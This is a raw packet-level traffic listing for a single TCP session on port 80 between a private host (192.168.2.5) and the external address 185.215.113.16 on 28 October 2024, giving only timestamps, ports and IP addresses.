Oct 28, 2024 20:50:25.289206028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.296245098 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404081106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404164076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404218912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404253960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404266119 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404289961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404342890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404371023 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404377937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404412985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404439926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404447079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404463053 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404481888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404531002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404582024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404629946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404644966 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404695988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404731035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404733896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404763937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404769897 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404798031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404828072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404850006 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404881001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404930115 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.404936075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404968977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.404988050 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405020952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405055046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405088902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405139923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405173063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405201912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405217886 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405217886 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405251026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405255079 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405287027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405319929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405342102 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405354023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405402899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405425072 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405437946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405452013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405467987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405524015 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405544996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405576944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405613899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405666113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405670881 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405714035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405747890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405781031 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405785084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405817986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405852079 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405850887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405885935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405908108 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405925035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405953884 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.405960083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.405993938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406047106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406068087 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406080008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406115055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406147957 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406183004 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406188011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406188011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406215906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406250954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406281948 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406297922 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406297922 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406317949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406346083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406378984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406415939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406424999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406424999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406445026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406477928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406512022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406533957 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406546116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406584024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406600952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406615019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406647921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406672001 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406681061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406713963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406747103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406775951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406775951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406785011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406819105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406852007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406867981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406883955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406918049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406949997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406982899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.406985998 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.406985998 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.407016039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.407049894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.407067060 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.407083988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.407119989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.407147884 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.407147884 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.407275915 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.414005041 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.519952059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.519974947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.520031929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.520070076 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.520081043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.520100117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.520124912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.520128012 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.520143986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.520159960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.520313025 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.520313025 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521100044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521132946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521155119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521198988 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521291971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521307945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521341085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521356106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521372080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521373987 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521373987 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521389961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521405935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521424055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521446943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521461964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521477938 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521480083 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521480083 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521480083 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521502972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521511078 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521519899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521536112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521554947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521585941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521600962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521615982 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521632910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521632910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521634102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521632910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521653891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521671057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521682978 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521694899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521713018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521728039 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521779060 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.521853924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521899939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521914005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521930933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.521956921 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522130013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522401094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522417068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522514105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522530079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522547007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522552013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522563934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522581100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522609949 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522609949 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522624016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522639036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522654057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522669077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522685051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522686005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522686005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522701025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522718906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522743940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522751093 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522751093 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522759914 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522777081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522790909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522805929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522809029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522830009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522846937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522861958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522887945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522902012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522917032 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522917032 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522917032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522917032 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.522934914 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522958994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522975922 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.522990942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523025036 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523025036 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523025036 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523036003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523051023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523066998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523082018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523097992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523102999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523102999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523183107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523214102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523230076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523304939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523329020 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523341894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523341894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523341894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.523386002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523399115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.523633003 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.554663897 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.636941910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.636985064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637001038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637017012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637032986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637036085 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.637049913 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637074947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.637092113 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.637893915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637921095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637936115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.637964964 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.637996912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638012886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638029099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638047934 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638062954 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638106108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638120890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638144970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638158083 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638169050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638195992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638211012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638226986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638230085 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638253927 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638305902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638320923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638336897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638354063 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638354063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638379097 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638758898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638794899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638811111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638825893 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638828993 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638845921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638853073 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638864994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638883114 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638883114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638907909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638923883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638928890 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638937950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638957024 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.638964891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638979912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.638997078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639012098 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639014959 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639028072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639039993 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639046907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639065027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639071941 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639091969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639097929 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639106989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639123917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639141083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639158010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639162064 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639173985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639184952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639189959 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639203072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639211893 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639240026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639509916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639525890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639543056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639565945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639580965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639581919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639604092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639741898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639758110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639774084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639775991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639791965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639807940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639823914 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639828920 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639841080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639847040 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639858961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639872074 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639875889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639892101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639906883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:25.639914036 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.639939070 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:25.640047073 CET	80	52257	185.215.113.16	192.168.2.5
